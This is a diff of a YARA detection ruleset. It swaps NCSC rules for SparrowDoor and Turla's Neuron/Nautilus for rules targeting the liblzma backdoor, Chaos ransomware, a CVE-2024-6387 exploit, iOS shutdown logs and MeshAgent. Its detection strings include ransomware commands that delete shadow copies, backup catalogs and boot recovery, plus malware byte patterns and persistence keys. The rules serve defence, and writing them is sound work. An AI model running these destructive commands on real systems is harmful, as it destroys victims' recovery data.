-		logic_hash = "8ae231cb43440e1771d9f7ecaccfedae33f4d14e5ebabd94a909e05bd9fe1bc1"
+		description = "liblzma backdoored"
+		author = "Costin G. Raiu, Art of Noh, craiu@noh.ro"
+		id = "3527227b-e19f-5704-8a56-f7d318890658"
+		date = "2024-03-30"
+		modified = "2024-03-30"
+		reference = "https://seclists.org/oss-sec/2024/q1/268"
+		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/unk_liblzma_backdoor.yara#L1-L30"
+		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
+		hash = "8fa641c454c3e0f76de73b7cc3446096b9c8b9d33d406d38b8ac76090b0344fd"
+		hash = "319feb5a9cddd81955d915b5632b4a5f8f9080281fb46e2f6d69d53f693c23ae"
+		hash = "b418bfd34aa246b2e7b5cb5d263a640e5d080810f767370c4d2c24662a274963"
+		hash = "cbeef92e67bf41ca9c015557d81f39adaba67ca9fb3574139754999030b83537"
+		logic_hash = "ac58a38bff3020dbc881a78b70cf18279644cf6f3ede8d652be3f345ba00974f"
 		score = 75
-		quality = 80
-		tags = ""
-		hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
+		quality = 85
+		tags = "FILE"
+		version = "1.1"
 
 	strings:
-		$sleep = {FF D7 33 D2 B9 [4] F7 F1 81 C2 [4] 8B C2 C1 E0 04 2B C2 03 C0 03 C0 03 C0 50}
+		$a1 = {f3 0f 1e fa 55 48 89 f5 4c 89 ce 53 89 fb 81 e7 00 00 00 80 48 83 ec 28 48 89 54 24 18 48 89 4c 24 10}
+		$a2 = {48 BF 30 30 30 30 30 30 30 30 8B F1 49 89 D1 89 43 28 48 89 3C 24 BF 3F FC FF 03}
 
 	condition:
-		all of them
+		( uint32be(0)==0x7F454C46) and ( filesize <10MB) and ( any of them )
 }
-rule NCSC_Sparrowdoor_Config : FILE
+rule CRAIU_Unk_Liblzma_Encstrings : FILE
 {
 	meta:
-		description = "Targets the XOR encoded loader config and shellcode in the file libhost.dll using the known position of the XOR key."
-		author = "NCSC"
-		id = "16eec5b6-c77a-585d-88f3-2c86abdbf2bd"
-		date = "2022-02-28"
-		modified = "2022-07-06"
-		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_config.yar#L1-L14"
-		license_url = "N/A"
-		logic_hash = "bd52496b6e7cabc875a277ce7d49f6b891c3f61591edef295dbee43716c15509"
+		description = "liblzma backdoor, encoded strings"
+		author = "Costin G. Raiu, Art of Noh, craiu@noh.ro"
+		id = "ca491b9c-400e-5f5e-9372-e403a095edba"
+		date = "2024-03-30"
+		modified = "2024-03-30"
+		reference = "https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01"
+		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/unk_liblzma_backdoor.yara#L32-L70"
+		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
+		logic_hash = "99f5c82f941bb5c1f908209e108f9f80a835ad84157a383faa0dde502486dbd3"
 		score = 75
-		quality = 80
+		quality = 85
 		tags = "FILE"
-		hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
-
-	condition:
-		( uint16(0)!=0x5A4D) and ( uint16(0)!=0x8b55) and ( uint32(0)^ uint32(0x4c)==0x00) and ( uint32(0)^ uint32(0x34)==0x00) and ( uint16(0)^ uint16(0x50)==0x8b55)
-}
-rule NCSC_Sparrowdoor_Apipatch
-{
-	meta:
-		description = "Identifies code segments in SparrowDoor responsible for patching APIs. No MZ/PE match as the backdoor has no header. Targeting in memory."
-		author = "NCSC"
-		id = "119b7f3a-1850-53ab-a5d1-8882e34a34b4"
-		date = "2022-02-28"
-		modified = "2022-07-06"
-		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_apipatch.yar#L1-L17"
-		license_url = "N/A"
-		logic_hash = "302ad7fc0354636c57e6ec86876c7d4a5baaa784f5ecf0f2d51ce47631b8542a"
-		score = 75
-		quality = 80
-		tags = ""
-		hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
+		version = "1.0"
 
 	strings:
-		$save = {8B 06 89 07 8A 4E 04}
-		$vp_1 = {89 10 8A 4E 04 8B D6 2B D0 88 48 04 83 EA 05 C6 40 05 E9 89 50 06}
-		$vp_2 = {50 8B D6 6A 40 2B D7 88 4F 04 83 EA 05 6A 05 C6 47 05 E9 89 57 06 56}
-		$vp_3 = {51 52 2B DE 6A 05 83 EB 05 56 C6 06 E9 89 5E 01}
-		$va = {6A 40 68 00 10 00 00 68 00 10 00 00 6A 00}
-		$s_patch = {50 68 7F FF FF FF 68 FF FF 00 00 56}
+		$a1 = "yolAbejyiejuvnup=Evjtgvsh5okmkAvj" ascii wide
+		$a2 = { 04 00 10 08 03 00 00 00 03 00 00 00 03 00 00 00 04 00 78 06 03 00 00 00 03 00 00 00 30 00 0C 00 03 00 00 00 04 00 D8 00
+              03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 43 00 00 00 32 00 00 00 03 00 00 00 03 00 00 00 13 01 00 00
+              92 00 00 00 12 00 00 00 42 00 00 00 93 00 00 00 62 00 00 00 B3 00 00 00 B2 00 00 00 03 00 00 00 03 00 00 00 93 00 00 00
+              42 00 00 00 C3 00 00 00 B2 00 00 00 03 00 00 00 12 00 00 00 04 00 08 07 04 00 08 01 12 00 00 00 63 00 00 00 03 00 00 00
+              13 00 00 00 F2 00 00 00 03 00 00 00 A3 00 00 00 92 00 00 00 33 01 00 00 F2 00 00 00 43 01 00 00 22 00 00 00 22 01 00 00
+              04 00 70 08 22 00 00 00 23 00 00 00 72 01 00 00 B3 01 00 00 92 00 00 00 83 00 00 00 23 00 00 00 82 01 00 00 63 01 00 00
+              13 00 00 00 04 00 A0 01 22 00 00 00 23 00 00 00 72 01 00 00 B3 01 00 00 B2 01 00 00 03 00 00 00 03 00 00 00 03 00 00 00
+              23 01 00 00 43 00 00 00 C2 00 00 00 90 01 30 00 72 00 00 00 21 01 04 00 03 01 00 00 92 00 00 00 22 01 00 00 32 00 00 00 }
+		$a3 = {
+              33 01 00 00 D2 00 00 00 12 00 00 00 13 00 00 00 04 00 40 0C E2 00 00 00 03 00 00 00 53 01 00 00 22 01 00 00 04 00 D0 06
+              E2 00 00 00 A3 00 00 00 92 00 00 00 53 01 00 00 A0 00 14 00 D2 01 00 00 04 00 58 09 62 00 00 00 92 00 00 00 04 00 18 04
+              42 01 00 00 13 00 00 00 B3 01 00 00 04 00 E0 04 33 00 00 00 A2 01 00 00 43 01 00 00 92 00 00 00 A2 00 00 00 33 02 00 00
+              72 01 00 00 10 00 40 00 A0 00 30 00 00 02 20 00 A2 00 00 00 21 00 0C 00 12 00 00 00 04 00 90 07 B2 01 00 00 53 00 00 00
+              93 01 00 00 92 00 00 00 22 01 00 00 83 01 00 00 53 00 00 00 82 00 00 00 32 01 00 00 03 02 00 00 62 01 00 00 63 01 00 00
+              B2 00 00 00 22 01 00 00 33 00 00 00 33 00 00 00 73 00 00 00 04 00 18 00 D2 01 00 00 13 02 00 00 52 00 00 00 D3 00 00 00
+              02 01 00 00 C3 00 00 00 52 00 00 00 D3 00 00 00 B2 01 00 00 A3 01 00 00 23 00 00 00 E2 01 00 00 33 00 00 00 33 00 00 00
+              B3 01 00 00 A2 00 00 00 53 00 00 00 B3 00 00 00 C2 01 00 00 D3 01 00 00 03 00 00 00 22 00 00 00 63 00 00 00 12 00 00 00 }
 
 	condition:
-		3 of them
+		( filesize <15MB) and ( any of them )
 }
-rule NCSC_Sparrowdoor_Xor
+rule CRAIU_Crime_Chaos_Ransomware_Gen : FILE
 {
 	meta:
-		description = "Highlights XOR routines in SparrowDoor. No MZ/PE match as the backdoor has no header. Targeting in memory."
-		author = "NCSC"
-		id = "9c07feea-91fc-528e-91ac-14d09fa1fc10"
-		date = "2022-02-28"
-		modified = "2022-07-06"
-		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_xor.yar#L1-L14"
-		license_url = "N/A"
-		logic_hash = "3244e9017e5a0bf1c54e03b3191a5c695b2c1586b3ed4c529742f9b48903a348"
+		description = "Chaos ransomware generic strings"
+		author = "Costin G. Raiu, Art of Noh, craiu@noh.ro"
+		id = "e909f7e4-50c2-54a6-8274-9ef92f95bf93"
+		date = "2024-05-27"
+		modified = "2024-05-28"
+		reference = "https://blog.sonicwall.com/en-us/2024/05/politically-charged-ransomware-weaponized-as-a-file-destroyer/"
+		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/crime_chaos_ransomware.yara#L2-L39"
+		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
+		hash = "524a898e18999ceac864dbac5b85fa2f14392e389b3c32f77d58e2a89cdf01c4"
+		logic_hash = "7d2e1c9178d5bf360cebc90056bbdae6a11729b1b3c5e963c522a29fd7ba7a3e"
 		score = 75
-		quality = 80
-		tags = ""
-		hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
+		quality = 60
+		tags = "FILE"
+		version = "1.0"
 
 	strings:
-		$xor_routine_outbound = {B8 39 8E E3 38 F7 E1 D1 EA 8D 14 D2 8B C1 2B C2 8A [4] 00 30 14 39 41 3B CE}
-		$xor_routine_inbound = {B8 25 49 92 24 F7 E1 8B C1 2B C2 D1 E8 03 C2 C1 E8 02 8D 14 C5 [4] 2B D0 8B C1 2B C2}
-		$xor_routine_config = {8B D9 83 E3 07 0F [6] 30 18 8D 1C 07 83 E3 07 0F [6] 30 58 01 8D 1C 28 83 E3 07 0F [6] 30 58 02 8D 1C 02 83 E3 07 0F [6] 30 58 03 8B DE 83 E3 07 0F [6] 30 58 04 83 C6 05 83 C1 05}
+		$a0 = "<Exponent>AQAB</Exponent>" ascii wide fullword
+		$a2 = "<EncryptedKey>" ascii wide fullword
+		$a15 = "vssadmin delete shadows /all /quiet & wmic shadowcopy delete" ascii wide fullword
+		$a16 = "bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no" ascii wide fullword
+		$a17 = "wbadmin delete catalog -quiet" ascii wide fullword
+		$a18 = "C:\\Users\\" ascii wide fullword
+		$a22 = "/9j/4AAQSkZJRgABAQAAAQABAAD/4gHYSUNDX1BST0ZJTEUAAQEAAAHIAAAAAAQwAABtbnRyUkdCIFhZWiAH4AABAAEAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA9tYAAQAAAADTLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlkZXNjAAAA8AAAACRyWFlaAAABFAAAABRnWFlaAAABKAAAABRiWFlaAAABPAAAABR3dHB0AAABUAAAABRyVFJDAAABZAAAAChnVFJDAAABZAAAAChiVFJDAAABZAAAAChjcHJ0AAABjAAAADxtbHVjAAAAAAAAAAEAAAAMZW5VUwAAAAgAAAAcAHMAUgBHAEJYWVogAAAAAAAAb6IAADj1AAADkFhZWiAAAAAAAABimQAAt4UAABjaWFlaIAAAAAAAACSgAAAPhAAAts9YWVogAAAAAAAA9tYAAQAAAADTLXBhcmEAAAAAAAQAAAACZmYAAPKnAAANWQAAE9AAAApbAAAAAAAAAABtbHVjAAAAAAAAAAEAAAAMZW5VUwAAACAAAAAcAEcAbwBvAGcAbABlACAASQBuAGMALgAgADIAMAAxADb/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/wAARCAQ4B4ADAREAAhEBAxEB/8QAHwAAAAYDAQEBAAAAAAAAAAAABAUGBwgJAgMKAQAL/8QAgRAAAQIDBQQIAwcCAgQIAAI7AQIRAwQhAAUGMUEHElFhCBMicYGRofCxwdEJFCMyQuHxFVIzYhYkQ3IKFzRTY4KSshglRHOi0uIZJlRkg5PCJzU2RVZYdJaXo9PWGkZHVVeEprO1KDllZ3V2eIaHlJWktLbDxtTV1zd3xMVmp8f" ascii wide fullword
+		$a24 = "17CqMQFeuB3NTzJ" ascii wide fullword
+		$a25 = "(?:[13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})" ascii wide fullword
+		$a26 = "7z459ajrk722yn8c5j4fg" ascii wide
+		$a27 = "2X28tfRmWaPyPQgvoHV" ascii wide
+		$a28 = "1qw0ll8p9m8uezhqhyd" ascii wide
+		$b11 = "\\Saved Games" ascii wide fullword
 
 	condition:
-		2 of them
+		( filesize <9MB) and ( uint16(0)==0x5a4d) and ((3 of them ))
 }
-rule NCSC_Sparrowdoor_Shellcode
+rule CRAIU_Crashstrike : FILE
 {
 	meta:
-		description = "Targets code features of the reflective loader for SparrowDoor. Targeting in memory."
-		author = "NCSC"
-		id = "572187fb-1a11-54f2-9fe7-2b7468b56556"
-		date = "2022-02-28"
-		modified = "2022-07-06"
-		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_shellcode.yar#L1-L15"
-		license_url = "N/A"
-		logic_hash = "7186bab23114b4825161f58fb02ff397ec8278385482232a4086c86c6fc47082"
+		description = "Crowdstrike C-00000???-*.sys files"
+		author = "Costin G. Raiu, Art of Noh, craiu@noh.ro"
+		id = "9a5168c4-0a7f-5269-bafa-728f123a04c5"
+		date = "2024-07-19"
+		modified = "2024-07-19"
+		reference = "https://en.wikipedia.org/wiki/July_2024_global_cyber_outages"
+		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/20240719_crashstrike.yara#L2-L26"
+		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
+		hash = "9d001ef3206fe2f955095244e6103ad7f8f318c7c5cbd91a0dd1f33e4217fcb2"
+		logic_hash = "9a8dacf9d95042851073c40f5eab2a6aff61be3a576363ffcd8c21aaec7f0b96"
 		score = 75
-		quality = 80
-		tags = ""
-		hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
+		quality = 85
+		tags = "FILE"
+		version = "1.0"
 
 	strings:
-		$peb = {8B 48 08 89 4D FC 8B 51 3C 8B 54 0A 78 8B 74 0A 20 03 D1 03 F1 B3 64}
-		$getp_match = {8B 06 03 C1 80 38 47 75 34 80 78 01 65 75 2E 80 78 02 74 75 28 80 78 03 50 75 22 80 78 04 72 75 1C 80 78 06 63 75 16 80 78 05 6F 75 10 80 78 07 41 75 0A}
-		$k_check = {8B 48 20 8A 09 80 F9 6B 74 05 80 F9 4B 75 05}
-		$resolve_load_lib = {C7 45 C4 4C 6F 61 64 C7 45 C8 4C 69 62 72 C7 45 CC 61 72 79 41 C7 45 D0 00 00 00 00 FF 75 FC FF 55 E4}
+		$a1 = "000E0A000E0GHijklMNOPqRSTUVwX"
+		$a2 = "AbCDEfghIjklMNoPqrstuV"
 
 	condition:
-		3 of them
+		( filesize <60KB) and ( uint32(0)==0xaaaaaaaa) and ( all of them )
 }
-rule NCSC_Sparrowdoor_Strings
+rule CRAIU_Exploit_CVE_2024_6387 : CVE_2024_6387 FILE
 {
 	meta:
-		description = "Strings that appear in SparrowDoor’s backdoor. Targeting in memory."
-		author = "NCSC"
-		id = "6f96a577-fb59-57db-a66a-f514ecfbf982"
-		date = "2022-02-28"
-		modified = "2022-07-06"
-		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_strings.yar#L1-L23"
-		license_url = "N/A"
-		logic_hash = "65ec5d266ecd81ab8e4cfbcb352173f825bdae92fd4737b577cb209bace2a943"
+		description = "Strings from CVE-2024-6387 exploit PoC by zgzhang."
+		author = "Costin G. Raiu, TLPBLACK, craiu@noh.ro"
+		id = "6ac63016-864d-57af-bb36-3115a0a91021"
+		date = "2024-07-02"
+		modified = "2024-07-03"
+		reference = "https://github.com/zgzhang/cve-2024-6387-poc/tree/main"
+		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/exploit_cve_2024_6387.yara#L2-L38"
+		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
+		hash = "62b06a6c30a0c891c2246ff87c0ad9ae03d2123601ba5331d6348c43b38d185e"
+		logic_hash = "d43a77c2690b5e01639590bc31fa64fa36b1da5efd3cc0761be7369ce80e4253"
 		score = 75
-		quality = 80
-		tags = ""
-		hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
+		quality = 85
+		tags = "CVE-2024-6387, FILE"
+		version = "1.0"
 
 	strings:
-		$reg = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii
-		$http_headers = {55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45 20 35 2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 35 2E 30 29 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 6E 2D 55 53 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A}
-		$http_proxy = "HTTPS=HTTPS://%s:%d" ascii
-		$debug = "SeDebugPrivilege" ascii
-		$av1 = "avp.exe" ascii
-		$av2 = "ZhuDongFangYu.exe" ascii
-		$av3 = "egui.exe" ascii
-		$av4 = "TMBMSRV.exe" ascii
-		$av5 = "ccSetMgr.exe" ascii
-		$clipshot = "clipshot" ascii
-		$ComSpec = "ComSpec" ascii
-		$export = "curl_easy_init" ascii
+		$a0 = "Attempting exploitation with glibc base: 0x%lx" ascii wide fullword
+		$a1 = "Attempt %d of 20000" ascii wide fullword
+		$a2 = "Failed to establish connection, attempt %d" ascii wide fullword
+		$a3 = "SSH handshake failed, attempt %d" ascii wide fullword
+		$a4 = "Possible exploitation success on attempt %d with glibc base 0x%lx!" ascii wide fullword
+		$a5 = "Received SSH version: %s" ascii wide fullword
+		$a6 = "Connection closed while receiving SSH version" ascii wide fullword
+		$a7 = "Received KEX_INIT (%zd bytes)" ascii wide fullword
+		$a8 = "Connection closed while receiving KEX_INIT" ascii wide fullword
+		$a9 = "Estimated parsing time: %.6f seconds" ascii wide fullword
+		$a10 = "Received response after exploit attempt (%zd bytes)" ascii wide fullword
+		$a11 = "Possible hit on 'large' race window" ascii wide fullword
+		$a12 = "Connection closed by server - possible successful exploitation" ascii wide fullword
+		$a13 = "No immediate response from server - possible successful exploitation" ascii wide fullword
+		$a14 = "Attempt %d of 10000" ascii wide fullword
 
 	condition:
-		10 of them
+		( filesize <5MB) and ( uint32be(0)==0x7F454C46) and (4 of ($a*))
 }
-rule NCSC_Neuron_Common_Strings : FILE
+rule CRAIU_Susp_Ios_Shutdown
 {
 	meta:
-		description = "Rule for detection of Neuron based on commonly used strings"
-		author = "NCSC UK"
-		id = "b0f12276-300c-537e-b495-a06c97deccd7"
-		date = "2018-02-06"
-		modified = "2018-02-06"
-		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L1-L23"
-		license_url = "N/A"
-		hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
-		logic_hash = "ac5926d6173f291e7907a2ced61c9968660d24fdd28ed3dca097567040b059e3"
-		score = 75
-		quality = 55
-		tags = "FILE"
+		description = "Detect shutdown.log files from sysdiags with suspicious entries"
+		author = "Costin G. Raiu, Art of Noh, craiu@noh.ro"
+		id = "08aa1fb9-7af0-515a-91a8-09ed35e48155"
+		date = "2023-12-28"
+		modified = "2024-03-05"
+		reference = "https://securelist.com/shutdown-log-lightweight-ios-malware-detection-method/111734/"
+		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/susp_ios_shutdown.yara#L2-L25"
+		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
+		logic_hash = "936101f2dddb73f6dda41be47d775199c458aa4fecdcf348ed479da620343ea1"
+		score = 65
+		quality = 85
+		tags = ""
+		version = "1.0"
+		tlp = "TLP:CLEAR"
 
 	strings:
-		$strServiceName = "MSExchangeService" ascii
-		$strReqParameter_1 = "cadataKey" wide
-		$strReqParameter_2 = "cid" wide
-		$strReqParameter_3 = "cadata" wide
-		$strReqParameter_4 = "cadataSig" wide
-		$strEmbeddedKey = "PFJTQUtleVZhbHVlPjxNb2R1bHVzPnZ3WXRKcnNRZjVTcCtWVG9Rb2xuaEVkMHVwWDFrVElFTUNTNEFnRkRCclNmclpKS0owN3BYYjh2b2FxdUtseXF2RzBJcHV0YXhDMVRYazRoeFNrdEpzbHljU3RFaHBUc1l4OVBEcURabVVZVklVbHlwSFN1K3ljWUJWVFdubTZmN0JTNW1pYnM0UWhMZElRbnl1ajFMQyt6TUhwZ0xmdEc2b1d5b0hyd1ZNaz08L01vZHVsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU+" wide
-		$strDefaultKey = "8d963325-01b8-4671-8e82-d0904275ab06" wide
-		$strIdentifier = "MSXEWS" wide
-		$strListenEndpoint = "443/ews/exchange/" wide
-		$strB64RegKeySubstring = "U09GVFdBUkVcTWljcm9zb2Z0XENyeXB0b2dyYXBo" wide
-		$strName = "neuron_service" ascii
-		$dotnetMagic = "BSJB" ascii
+		$a1 = "these clients are still here:"
+		$b1 = "/private/var/db/"
+		$b2 = "/private/var/tmp/"
+		$c1 = "After "
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and $dotnetMagic and 6 of ($str*)
+		($c1 at 0) and $a1 and ( any of ($b*))
 }
-rule NCSC_Neuron_Standalone_Signature : FILE
-{
-	meta:
-		description = "Rule for detection of Neuron based on a standalone signature from .NET metadata"
-		author = "NCSC UK"
-		id = "e0be2fe2-32fd-5bdf-bfac-a596264be7ba"
-		date = "2018-02-06"
-		modified = "2018-02-06"
-		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L25-L37"
-		license_url = "N/A"
-		hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
-		logic_hash = "a0d8d7e834fb07c22951ea4a31bf507e0c3d471e7cd500b60096f5e09844b452"
-		score = 75
-		quality = 80
-		tags = "FILE"
+/*
+ * YARA Rule Set
+ * Repository Name: DitekSHen
+ * Repository: https://github.com/ditekshen/detection
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 6419013759723bbe4d5739312c9bc0a339259bc4
+ * Number of Rules: 1424
+ * Skipped: 0 (age), 117 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * Copyright 2021 by ditekSHen (https://github.com/ditekshen/detection).
 
-	strings:
-		$a = {eb073d151231011234080e12818d1d051281311d1281211d1281211d128121081d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281}
-		$dotnetMagic = "BSJB" ascii
+The 2-Clause BSD License
 
-	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and all of them
-}
-rule NCSC_Neuron_Functions_Classes_And_Vars : FILE
-{
-	meta:
-		description = "Rule for detection of Neuron based on .NET function, variable and class names"
-		author = "NCSC UK"
-		id = "6c785b63-637b-5343-b839-0b482cfc9cf6"
-		date = "2018-02-06"
-		modified = "2018-02-06"
-		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L39-L66"
-		license_url = "N/A"
-		hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
-		logic_hash = "2e378af2ddb15ed1285eafecee1075caf958c7ff470608801c49c951e044d912"
-		score = 75
-		quality = 80
-		tags = "FILE"
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 
-	strings:
-		$class1 = "StorageUtils" ascii
-		$class2 = "WebServer" ascii
-		$class3 = "StorageFile" ascii
-		$class4 = "StorageScript" ascii
-		$class5 = "ServerConfig" ascii
-		$class6 = "CommandScript" ascii
-		$class7 = "MSExchangeService" ascii
-		$class8 = "W3WPDIAG" ascii
-		$func1 = "AddConfigAsString" ascii
-		$func2 = "DelConfigAsString" ascii
-		$func3 = "GetConfigAsString" ascii
-		$func4 = "EncryptScript" ascii
-		$func5 = "ExecCMD" ascii
-		$func6 = "KillOldThread" ascii
-		$func7 = "FindSPath" ascii
-		$var1 = "CommandTimeWait" ascii
-		$dotnetMagic = "BSJB" ascii
+ */
+import "pe"
 
-	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and $dotnetMagic and 6 of them
-}
-rule NCSC_Nautilus_Modified_Rc4_Loop : FILE
+rule DITEKSHEN_INDICATOR_RMM_Meshagent : FILE
 {
 	meta:
-		description = "Rule for detection of Nautilus based on assembly code for a modified RC4 loop"
-		author = "NCSC UK"
-		id = "0c5da057-0f1d-5852-ad75-94bf40c133e4"
-		date = "2018-02-06"
-		modified = "2018-02-06"
-		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L68-L79"
-		license_url = "N/A"
-		hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
-		logic_hash = "58673db1d995ac2fed1eefa8baab426558bb9d46b239cdc8715d41925d5f4657"
+		description = "Detects MeshAgent. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "3d0baa87-22c9-569d-ba84-37ccaac577b8"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L3-L27"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "f36c0e23b20e4466100cf4ea2a91515bf1d54505e7b1f0926a4e416a04e0dbcf"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
+		clamav1 = "INDICATOR.Win.RMM.MeshAgent"
 
 	strings:
-		$a = {42 0F B6 14 04 41 FF C0 03 D7 0F B6 CA 8A 14 0C 43 32 14 13 41 88 12 49 FF C2 49 FF C9}
+		$x1 = "\\MeshAgent" wide
+		$x2 = "Mesh Agent" wide
+		$x3 = "MeshDummy" wide
+		$x4 = "MeshCentral" wide
+		$x5 = "ILibRemoteLogging.c" ascii
+		$x6 = "AgentCore/MeshServer_" wide
